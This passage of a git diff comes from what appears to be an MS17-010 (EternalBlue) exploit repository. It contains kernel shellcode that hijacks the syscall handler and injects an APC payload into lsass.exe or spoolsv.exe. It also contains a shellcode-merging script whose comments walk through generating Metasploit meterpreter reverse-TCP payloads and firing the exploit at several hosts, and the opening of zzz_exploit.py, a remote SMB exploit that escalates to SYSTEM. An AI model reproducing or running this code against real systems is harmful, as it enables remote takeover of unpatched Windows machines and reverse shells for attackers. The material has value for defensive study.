mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
|
||||||
|
|
||||||
|
; first time on the target, clear the data area
|
||||||
|
; edx should be zero from rdmsr
|
||||||
|
mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx
|
||||||
|
|
||||||
|
_hook_syscall:
|
||||||
|
; set a new syscall on running processor
|
||||||
|
; setting MSR 0x176 affects only running processor
|
||||||
|
mov eax, edi
|
||||||
|
xor edx, edx
|
||||||
|
wrmsr
|
||||||
|
|
||||||
|
_setup_syscall_hook_done:
|
||||||
|
popad
|
||||||
|
%ifdef WIN7
|
||||||
|
xor eax, eax
|
||||||
|
%elifdef WIN8
|
||||||
|
xor eax, eax
|
||||||
|
%endif
|
||||||
|
ret 0x24
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Find memory address in HAL heap for using as data area
|
||||||
|
; Arguments: ebx = any address in this shellcode
|
||||||
|
; Return: ebp = data address
|
||||||
|
;========================================================================
|
||||||
|
set_ebp_data_address_fn:
|
||||||
|
; On idle target without user application, syscall on hijacked processor might not be called immediately.
|
||||||
|
; Find some address to store the data, the data in this address MUST not be modified
|
||||||
|
; when exploit is rerun before syscall is called
|
||||||
|
lea ebp, [ebx + 0x1000]
|
||||||
|
shr ebp, 12
|
||||||
|
shl ebp, 12
|
||||||
|
sub ebp, 0x50 ; for KAPC struct too
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
syscall_hook:
|
||||||
|
mov ecx, 0x23
|
||||||
|
push 0x30
|
||||||
|
pop fs
|
||||||
|
mov ds,cx
|
||||||
|
mov es,cx
|
||||||
|
mov ecx, dword [fs:0x40]
|
||||||
|
mov esp, dword [ecx+4]
|
||||||
|
|
||||||
|
push ecx ; want this stack space to store original syscall addr
|
||||||
|
pushfd
|
||||||
|
pushad
|
||||||
|
|
||||||
|
call _syscall_hook_find_eip
|
||||||
|
_syscall_hook_find_eip:
|
||||||
|
pop ebx
|
||||||
|
|
||||||
|
call set_ebp_data_address_fn
|
||||||
|
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
|
||||||
|
|
||||||
|
add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler
|
||||||
|
mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24
|
||||||
|
|
||||||
|
; use lock cmpxchg for queueing APC only one at a time
|
||||||
|
xor eax, eax
|
||||||
|
cdq
|
||||||
|
inc edx
|
||||||
|
lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl
|
||||||
|
jnz _syscall_hook_done
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; restore syscall
|
||||||
|
;======================================
|
||||||
|
; an error after restoring syscall should never occur
|
||||||
|
mov ecx, 0x176
|
||||||
|
cdq
|
||||||
|
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
|
||||||
|
wrmsr
|
||||||
|
|
||||||
|
; allow interrupts while executing shellcode
|
||||||
|
sti
|
||||||
|
call r3_to_r0_start
|
||||||
|
cli
|
||||||
|
|
||||||
|
_syscall_hook_done:
|
||||||
|
popad
|
||||||
|
popfd
|
||||||
|
ret
|
||||||
|
|
||||||
|
r3_to_r0_start:
|
||||||
|
;======================================
|
||||||
|
; find nt kernel address
|
||||||
|
;======================================
|
||||||
|
mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel
|
||||||
|
shr eax, 0xc ; strip to page size
|
||||||
|
shl eax, 0xc
|
||||||
|
|
||||||
|
_find_nt_walk_page:
|
||||||
|
sub eax, 0x1000 ; walk along page size
|
||||||
|
cmp word [eax], 0x5a4d ; 'MZ' header
|
||||||
|
jne _find_nt_walk_page
|
||||||
|
|
||||||
|
; save nt address
|
||||||
|
mov [ebp+DATA_MODULE_ADDR_OFFSET], eax
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; get current EPROCESS and ETHREAD
|
||||||
|
;======================================
|
||||||
|
mov eax, PSGETCURRENTPROCESS_HASH
|
||||||
|
call win_api_direct
|
||||||
|
xchg edi, eax ; edi = EPROCESS
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of EPROCESS.ImageFilename
|
||||||
|
;======================================
|
||||||
|
mov eax, PSGETPROCESSIMAGEFILENAME_HASH
|
||||||
|
push edi
|
||||||
|
call win_api_direct
|
||||||
|
sub eax, edi
|
||||||
|
mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of EPROCESS.ThreadListHead
|
||||||
|
;======================================
|
||||||
|
; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+)
|
||||||
|
; if offset of ImageFilename is 0x170, current is (Win8+)
|
||||||
|
%ifdef WIN7
|
||||||
|
lea ebx, [eax+0x1c]
|
||||||
|
%elifdef WIN8
|
||||||
|
lea ebx, [eax+0x24]
|
||||||
|
%else
|
||||||
|
cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename
|
||||||
|
jne _find_eprocess_threadlist_offset_win7
|
||||||
|
add eax, 0x8
|
||||||
|
_find_eprocess_threadlist_offset_win7:
|
||||||
|
lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead
|
||||||
|
%endif
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of ETHREAD.ThreadListEntry
|
||||||
|
;======================================
|
||||||
|
; edi = EPROCESS
|
||||||
|
; ebx = offset of EPROCESS.ThreadListHead
|
||||||
|
lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead
|
||||||
|
mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR
|
||||||
|
; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400
|
||||||
|
_find_ethread_threadlist_offset_loop:
|
||||||
|
mov esi, dword [esi]
|
||||||
|
; if (esi - edi < 0x400) found
|
||||||
|
mov edx, esi
|
||||||
|
sub edx, eax
|
||||||
|
cmp edx, 0x400
|
||||||
|
ja _find_ethread_threadlist_offset_loop ; need unsigned comparison
|
||||||
|
push edx ; save offset of ETHREAD.ThreadListEntry to stack
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find offset of EPROCESS.ActiveProcessLinks
|
||||||
|
;======================================
|
||||||
|
mov eax, PSGETPROCESSID_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
|
||||||
|
lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
|
||||||
|
;======================================
|
||||||
|
; edi = EPROCESS
|
||||||
|
; ecx = offset of EPROCESS.ImageFilename
|
||||||
|
; edx = offset of EPROCESS.ActiveProcessLinks
|
||||||
|
_find_target_process_loop:
|
||||||
|
lea esi, [edi+ecx]
|
||||||
|
call calc_hash
|
||||||
|
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
|
||||||
|
jz found_target_process
|
||||||
|
%ifndef COMPACT
|
||||||
|
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
|
||||||
|
jz found_target_process
|
||||||
|
%endif
|
||||||
|
; next process
|
||||||
|
mov edi, [edi+edx]
|
||||||
|
sub edi, edx
|
||||||
|
jmp _find_target_process_loop
|
||||||
|
|
||||||
|
|
||||||
|
found_target_process:
|
||||||
|
; The allocation for userland payload will be in KernelApcRoutine.
|
||||||
|
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; save EPROCESS for finding CreateThread address in kernel KAPC routine
|
||||||
|
;======================================
|
||||||
|
mov [ebp+DATA_EPROCESS_OFFSET], edi
|
||||||
|
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; iterate ThreadList until KeInsertQueueApc() success
|
||||||
|
;======================================
|
||||||
|
; edi = EPROCESS
|
||||||
|
; ebx = offset of EPROCESS.ThreadListHead
|
||||||
|
|
||||||
|
lea ebx, [edi+ebx] ; use ebx for iterating thread
|
||||||
|
lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address
|
||||||
|
pop edi ; edi = offset of ETHREAD.ThreadListEntry
|
||||||
|
|
||||||
|
|
||||||
|
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
|
||||||
|
; Moreover, alertable thread need to be waiting state which is more difficult to check.
|
||||||
|
; try queueing APC then check KAPC member is more reliable.
|
||||||
|
|
||||||
|
_insert_queue_apc_loop:
|
||||||
|
; TODO: do not try to queue APC if TEB.ActivationContextStackPointer is NULL
|
||||||
|
; if TEB.ActivationContextStackPointer is NULL, system will be reboot after inserting APC to queue
|
||||||
|
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
|
||||||
|
mov ebx, [ebx+4]
|
||||||
|
; no check list head
|
||||||
|
|
||||||
|
; KeInitializeApc(PKAPC,
|
||||||
|
; PKTHREAD,
|
||||||
|
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
|
||||||
|
; PKKERNEL_ROUTINE = kernel_apc_routine,
|
||||||
|
; PKRUNDOWN_ROUTINE = NULL,
|
||||||
|
; PKNORMAL_ROUTINE = userland_shellcode,
|
||||||
|
; KPROCESSOR_MODE = UserMode (1),
|
||||||
|
; PVOID Context);
|
||||||
|
xor eax, eax
|
||||||
|
push ebp ; context
|
||||||
|
push 1 ; UserMode
|
||||||
|
push ebp ; userland shellcode (MUST NOT be NULL)
|
||||||
|
push eax ; NULL
|
||||||
|
call _init_kapc_find_kroutine
|
||||||
|
_init_kapc_find_kroutine:
|
||||||
|
add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine
|
||||||
|
push eax ; OriginalApcEnvironment
|
||||||
|
push ebx
|
||||||
|
sub [esp], edi ; ETHREAD
|
||||||
|
push esi ; KAPC
|
||||||
|
mov eax, KEINITIALIZEAPC_HASH
|
||||||
|
call win_api_direct
|
||||||
|
|
||||||
|
|
||||||
|
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
|
||||||
|
; SystemArgument1 is second argument in usermode code
|
||||||
|
; SystemArgument2 is third argument in usermode code
|
||||||
|
xor eax, eax
|
||||||
|
push eax
|
||||||
|
push eax ; SystemArgument2
|
||||||
|
push eax ; SystemArgument1
|
||||||
|
push esi ; PKAPC
|
||||||
|
mov eax, KEINSERTQUEUEAPC_HASH
|
||||||
|
call win_api_direct
|
||||||
|
; if insertion failed, try next thread
|
||||||
|
test eax, eax
|
||||||
|
jz _insert_queue_apc_loop
|
||||||
|
|
||||||
|
mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry
|
||||||
|
; EPROCESS pointer 4 bytes
|
||||||
|
; InProgressFlags 1 byte
|
||||||
|
; KernelApcPending 1 byte
|
||||||
|
; if success, UserApcPending MUST be 1
|
||||||
|
cmp byte [eax+0xe], 1
|
||||||
|
je _insert_queue_apc_done
|
||||||
|
|
||||||
|
; manual remove list without lock
|
||||||
|
mov [eax], eax
|
||||||
|
mov [eax+4], eax
|
||||||
|
jmp _insert_queue_apc_loop
|
||||||
|
|
||||||
|
_insert_queue_apc_done:
|
||||||
|
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
|
||||||
|
|
||||||
|
_r3_to_r0_done:
|
||||||
|
ret
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Call function in specific module
|
||||||
|
;
|
||||||
|
; All function arguments are passed as calling normal function with extra register arguments
|
||||||
|
; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
|
||||||
|
; eax = hash of target function name
|
||||||
|
;========================================================================
|
||||||
|
win_api_direct:
|
||||||
|
call get_proc_addr
|
||||||
|
jmp eax
|
||||||
|
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Get function address in specific module
|
||||||
|
;
|
||||||
|
; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
|
||||||
|
; eax = hash of target function name
|
||||||
|
; Return: eax = offset
|
||||||
|
;========================================================================
|
||||||
|
get_proc_addr:
|
||||||
|
pushad
|
||||||
|
|
||||||
|
mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address
|
||||||
|
xchg edi, eax ; edi = hash
|
||||||
|
|
||||||
|
mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew
|
||||||
|
mov edx, dword [ebp+eax+0x78] ; Get export tables RVA
|
||||||
|
|
||||||
|
add edx, ebp ; edx = EAT
|
||||||
|
|
||||||
|
mov ecx, dword [edx+0x18] ; NumberOfFunctions
|
||||||
|
mov ebx, dword [edx+0x20] ; FunctionNames
|
||||||
|
add ebx, ebp
|
||||||
|
|
||||||
|
_get_proc_addr_get_next_func:
|
||||||
|
; When we reach the start of the EAT (we search backwards), we hang or crash
|
||||||
|
dec ecx ; decrement NumberOfFunctions
|
||||||
|
mov esi, dword [ebx+ecx*4] ; Get rva of next module name
|
||||||
|
add esi, ebp ; Add the modules base address
|
||||||
|
|
||||||
|
call calc_hash
|
||||||
|
|
||||||
|
cmp eax, edi ; Compare the hashes
|
||||||
|
jnz _get_proc_addr_get_next_func ; try the next function
|
||||||
|
|
||||||
|
_get_proc_addr_finish:
|
||||||
|
mov ebx, dword [edx+0x24]
|
||||||
|
add ebx, ebp ; ordinate table virtual address
|
||||||
|
mov cx, word [ebx+ecx*2] ; desired functions ordinal
|
||||||
|
mov ebx, dword [edx+0x1c] ; Get the function addresses table rva
|
||||||
|
add ebx, ebp ; Add the modules base address
|
||||||
|
mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA
|
||||||
|
add eax, ebp ; Add the modules base address to get the functions actual VA
|
||||||
|
|
||||||
|
mov [esp+0x1c], eax
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
;========================================================================
|
||||||
|
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
|
||||||
|
;
|
||||||
|
; Argument: esi = string to hash
|
||||||
|
; Clobber: esi
|
||||||
|
; Return: eax = hash
|
||||||
|
;========================================================================
|
||||||
|
calc_hash:
|
||||||
|
push edx
|
||||||
|
xor eax, eax
|
||||||
|
cdq
|
||||||
|
_calc_hash_loop:
|
||||||
|
lodsb ; Read in the next byte of the ASCII string
|
||||||
|
ror edx, 13 ; Rotate right our hash value
|
||||||
|
add edx, eax ; Add the next byte of the string
|
||||||
|
test eax, eax ; Stop when found NULL
|
||||||
|
jne _calc_hash_loop
|
||||||
|
xchg edx, eax
|
||||||
|
pop edx
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
|
||||||
|
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
|
||||||
|
; Moreover, there is no lock when calling KernelApcRoutine.
|
||||||
|
;
|
||||||
|
; VOID KernelApcRoutine(
|
||||||
|
; IN PKAPC Apc,
|
||||||
|
; IN PKNORMAL_ROUTINE *NormalRoutine,
|
||||||
|
; IN PVOID *NormalContext,
|
||||||
|
; IN PVOID *SystemArgument1,
|
||||||
|
; IN PVOID *SystemArgument2)
|
||||||
|
kernel_kapc_routine:
|
||||||
|
; reorder stack to make everything easier
|
||||||
|
pop eax
|
||||||
|
mov [esp+0x10], eax ; move saved eip to &SystemArgument2
|
||||||
|
pop eax ; PKAPC (unused)
|
||||||
|
pop ecx ; &NormalRoutine
|
||||||
|
pop eax ; &NormalContext
|
||||||
|
pop edx ; &SystemArgument1
|
||||||
|
|
||||||
|
pushad
|
||||||
|
push edx ; &SystemArgument1 (use for set CreateThread address)
|
||||||
|
push ecx ; &NormalRoutine
|
||||||
|
|
||||||
|
mov ebp, [eax] ; *NormalContext is our data area pointer
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
|
||||||
|
;======================================
|
||||||
|
xor eax, eax
|
||||||
|
mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
|
||||||
|
cdq
|
||||||
|
|
||||||
|
mov al, 0x40 ; eax = 0x40
|
||||||
|
push eax ; PAGE_EXECUTE_READWRITE = 0x40
|
||||||
|
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
|
||||||
|
push eax ; MEM_COMMIT = 0x1000
|
||||||
|
push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack)
|
||||||
|
push edx ; ZeroBits
|
||||||
|
mov [ecx], edx
|
||||||
|
push ecx ; baseAddr = 0
|
||||||
|
dec edx
|
||||||
|
push edx ; ProcessHandle = -1
|
||||||
|
mov eax, ZWALLOCATEVIRTUALMEMORY_HASH
|
||||||
|
call win_api_direct
|
||||||
|
%ifndef COMPACT
|
||||||
|
test eax, eax
|
||||||
|
jnz _kernel_kapc_routine_exit
|
||||||
|
%endif
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; copy userland payload
|
||||||
|
;======================================
|
||||||
|
pop eax
|
||||||
|
mov edi, [eax]
|
||||||
|
call _kernel_kapc_routine_find_userland
|
||||||
|
_kernel_kapc_routine_find_userland:
|
||||||
|
pop esi
|
||||||
|
add esi, userland_start-_kernel_kapc_routine_find_userland
|
||||||
|
mov ecx, 0x400 ; fix payload size to 1024 bytes
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find current PEB
|
||||||
|
;======================================
|
||||||
|
mov eax, [ebp+DATA_EPROCESS_OFFSET]
|
||||||
|
push eax
|
||||||
|
mov eax, PSGETPROCESSPEB_HASH
|
||||||
|
call win_api_direct
|
||||||
|
|
||||||
|
;======================================
|
||||||
|
; find CreateThread address (in kernel32.dll)
|
||||||
|
;======================================
|
||||||
|
mov eax, [eax + 0xc] ; PEB->Ldr
|
||||||
|
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
|
||||||
|
|
||||||
|
%ifdef COMPACT
|
||||||
|
mov esi, [eax] ; first one always be executable, skip it
|
||||||
|
lodsd ; skip ntdll.dll
|
||||||
|
%else
|
||||||
|
_find_kernel32_dll_loop:
|
||||||
|
mov eax, [eax] ; first one always be executable
|
||||||
|
; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
|
||||||
|
; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll)
|
||||||
|
; offset 0x28 => is name
|
||||||
|
; offset 0x10 => is dllbase
|
||||||
|
;cmp word [eax+0x1c], 0x40
|
||||||
|
;jne _find_kernel32_dll_loop
|
||||||
|
cmp word [eax+0x24], 0x18
|
||||||
|
jne _find_kernel32_dll_loop
|
||||||
|
|
||||||
|
mov edx, [eax+0x28]
|
||||||
|
; check only "32" because name might be lowercase or uppercase
|
||||||
|
cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00
|
||||||
|
jnz _find_kernel32_dll_loop
|
||||||
|
%endif
|
||||||
|
|
||||||
|
mov ebx, [eax+0x10]
|
||||||
|
mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx
|
||||||
|
mov eax, CREATETHREAD_HASH
|
||||||
|
call get_proc_addr
|
||||||
|
|
||||||
|
; save CreateThread address to SystemArgument1
|
||||||
|
pop ecx
|
||||||
|
mov [ecx], eax
|
||||||
|
|
||||||
|
_kernel_kapc_routine_exit:
|
||||||
|
xor eax, eax
|
||||||
|
; clear queueing kapc flag, allow other hijacked system call to run shellcode
|
||||||
|
mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al
|
||||||
|
; restore IRQL to APC_LEVEL
|
||||||
|
inc eax
|
||||||
|
mov byte [fs:0x24], al
|
||||||
|
|
||||||
|
popad
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
userland_start:
|
||||||
|
userland_start_thread:
|
||||||
|
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
|
||||||
|
pop edx ; saved eip
|
||||||
|
pop eax ; first argument (NormalContext)
|
||||||
|
pop eax ; CreateThread address passed from kernel
|
||||||
|
pop ecx ; another argument (NULL) passed from kernel
|
||||||
|
push ecx ; lpThreadId = NULL
|
||||||
|
push ecx ; dwCreationFlags = 0
|
||||||
|
push ecx ; lpParameter = NULL
|
||||||
|
call _userland_start_thread_find_payload
|
||||||
|
_userland_start_thread_find_payload:
|
||||||
|
add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr
|
||||||
|
push ecx ; dwStackSize = 0
|
||||||
|
push ecx ; lpThreadAttributes = NULL
|
||||||
|
push edx ; restore saved eip
|
||||||
|
jmp eax
|
||||||
|
|
||||||
|
userland_payload:
|
||||||
55
shellcode/eternalblue_sc_merge.py
Normal file
55
shellcode/eternalblue_sc_merge.py
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
import sys
|
||||||
|
from struct import pack
|
||||||
|
|
||||||
|
if len(sys.argv) < 4:
|
||||||
|
print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
sc_x86 = open(sys.argv[1], 'rb').read()
|
||||||
|
sc_x64 = open(sys.argv[2], 'rb').read()
|
||||||
|
|
||||||
|
fp = open(sys.argv[3], 'wb')
|
||||||
|
'''
|
||||||
|
\x31\xc0 xor eax, eax
|
||||||
|
\x40 inc eax
|
||||||
|
\x0f\x84???? jz sc_x64
|
||||||
|
'''
|
||||||
|
fp.write('\x31\xc0\x40\x0f\x84'+pack('<I', len(sc_x86)))
|
||||||
|
fp.write(sc_x86)
|
||||||
|
fp.write(sc_x64)
|
||||||
|
fp.close()
|
||||||
|
|
||||||
|
'''
|
||||||
|
Example usage with metasploit meterpreter:
|
||||||
|
|
||||||
|
msf > use exploit/multi/handler
|
||||||
|
msf exploit(handler) > set ExitOnSession false
|
||||||
|
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||||
|
msf exploit(handler) > set EXITFUNC thread
|
||||||
|
msf exploit(handler) > set LHOST 0.0.0.0
|
||||||
|
msf exploit(handler) > set LPORT 4444
|
||||||
|
msf exploit(handler) > exploit -j
|
||||||
|
...
|
||||||
|
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||||
|
msf exploit(handler) > set LPORT 4445
|
||||||
|
msf exploit(handler) > exploit -j
|
||||||
|
...
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$ msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4444
|
||||||
|
...
|
||||||
|
$ msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4445
|
||||||
|
...
|
||||||
|
$ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin
|
||||||
|
$ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin
|
||||||
|
$ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
|
||||||
|
$ python eternalblue_exploit7.py 192.168.13.81 sc_all.bin
|
||||||
|
...
|
||||||
|
$ python eternalblue_exploit7.py 192.168.13.82 sc_all.bin
|
||||||
|
...
|
||||||
|
$ python eternalblue_exploit7.py 192.168.13.83 sc_all.bin
|
||||||
|
...
|
||||||
|
$ python eternalblue_exploit7.py 192.168.13.84 sc_all.bin
|
||||||
|
...
|
||||||
|
'''
|
||||||
456
zzz_exploit.py
Normal file
456
zzz_exploit.py
Normal file
@@ -0,0 +1,456 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb, smbconnection
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack, unpack
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
|
||||||
|
'''
|
||||||
|
MS17-010 exploit for Windows 7+ x64 by sleepya
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- The exploit should never crash a target (chance should be nearly 0%)
|
||||||
|
- The exploit support only x64 target
|
||||||
|
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
|
||||||
|
|
||||||
|
Tested on:
|
||||||
|
- Windows 2016 x64
|
||||||
|
- Windows 2012 R2 x64
|
||||||
|
- Windows 8.1 x64
|
||||||
|
- Windows 2008 R2 x64
|
||||||
|
- Windows 7 SP1 x64
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
'''
|
||||||
|
Reverse from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
|
||||||
|
win7 x64
|
||||||
|
struct SrvSecContext {
|
||||||
|
DWORD xx1; // second WORD is size
|
||||||
|
DWORD refCnt;
|
||||||
|
PACCESS_TOKEN Token; // 0x08
|
||||||
|
DWORD xx2;
|
||||||
|
BOOLEAN CopyOnOpen; // 0x14
|
||||||
|
BOOLEAN EffectiveOnly;
|
||||||
|
WORD xx3;
|
||||||
|
DWORD ImpersonationLevel; // 0x18
|
||||||
|
DWORD xx4;
|
||||||
|
BOOLEAN UsePsImpersonateClient; // 0x20
|
||||||
|
}
|
||||||
|
win2012 x64
|
||||||
|
struct SrvSecContext {
|
||||||
|
DWORD xx1; // second WORD is size
|
||||||
|
DWORD refCnt;
|
||||||
|
QWORD xx2;
|
||||||
|
QWORD xx3;
|
||||||
|
PACCESS_TOKEN Token; // 0x18
|
||||||
|
DWORD xx4;
|
||||||
|
BOOLEAN CopyOnOpen; // 0x24
|
||||||
|
BOOLEAN EffectiveOnly;
|
||||||
|
WORD xx3;
|
||||||
|
DWORD ImpersonationLevel; // 0x28
|
||||||
|
DWORD xx4;
|
||||||
|
BOOLEAN UsePsImpersonateClient; // 0x30
|
||||||
|
}
|
||||||
|
|
||||||
|
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
|
||||||
|
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
||||||
|
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
|
||||||
|
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
|
||||||
|
STATUS_SUCCESS when Token is NULL.
|
||||||
|
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
|
||||||
|
to do all SMB operations.
|
||||||
|
Note: fake Token might be possible, but NULL token is much easier.
|
||||||
|
'''
|
||||||
|
WIN7_INFO = {
|
||||||
|
'SESSION_SECCTX_OFFSET': 0xa0,
|
||||||
|
'SESSION_ISNULL_OFFSET': 0xba,
|
||||||
|
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
||||||
|
'SECCTX_SIZE': 0x28,
|
||||||
|
}
|
||||||
|
|
||||||
|
# win8+ info
|
||||||
|
WIN8_INFO = {
|
||||||
|
'SESSION_SECCTX_OFFSET': 0xb0,
|
||||||
|
'SESSION_ISNULL_OFFSET': 0xca,
|
||||||
|
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||||
|
'SECCTX_SIZE': 0x38,
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
TRANS_FLINK_OFFSET = 0x28
|
||||||
|
TRANS_INPARAM_OFFSET = 0x70
|
||||||
|
TRANS_OUTPARAM_OFFSET = 0x78
|
||||||
|
TRANS_INDATA_OFFSET = 0x80
|
||||||
|
TRANS_OUTDATA_OFFSET = 0x88
|
||||||
|
TRANS_FUNCTION_OFFSET = 0xb2
|
||||||
|
TRANS_MID_OFFSET = 0xc0
|
||||||
|
|
||||||
|
def wait_for_request_processed(conn):
|
||||||
|
#time.sleep(0.05)
|
||||||
|
# send echo is faster than sleep(0.05) when connection is very good
|
||||||
|
conn.send_echo('a')
|
||||||
|
|
||||||
|
special_mid = 0
|
||||||
|
extra_last_mid = 0
|
||||||
|
def reset_extra_mid(conn):
|
||||||
|
global extra_last_mid, special_mid
|
||||||
|
special_mid = (conn.next_mid() & 0xff00) - 0x100
|
||||||
|
extra_last_mid = special_mid
|
||||||
|
|
||||||
|
def next_extra_mid():
|
||||||
|
global extra_last_mid
|
||||||
|
extra_last_mid += 1
|
||||||
|
return extra_last_mid
|
||||||
|
|
||||||
|
# Note: TRANSACTION struct size on x64 is 0x100
|
||||||
|
FRAG_POOL_SIZE = 0
|
||||||
|
# Burrow 'groom' and 'bride' word from NSA tool
|
||||||
|
GROOM_TRANS_SIZE = 0x5010 # pool size: 0x5030
|
||||||
|
BRIDE_TRANS_SIZE = 0x1000 - (GROOM_TRANS_SIZE & 0xfff) - FRAG_POOL_SIZE - 0x40 # pool header (0x10), srv buffer header of groom and bride (0x20)
|
||||||
|
|
||||||
|
|
||||||
|
def leak_frag_size(conn, tid, fid):
|
||||||
|
mid = conn.next_mid()
|
||||||
|
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
|
||||||
|
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:]+req2)
|
||||||
|
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
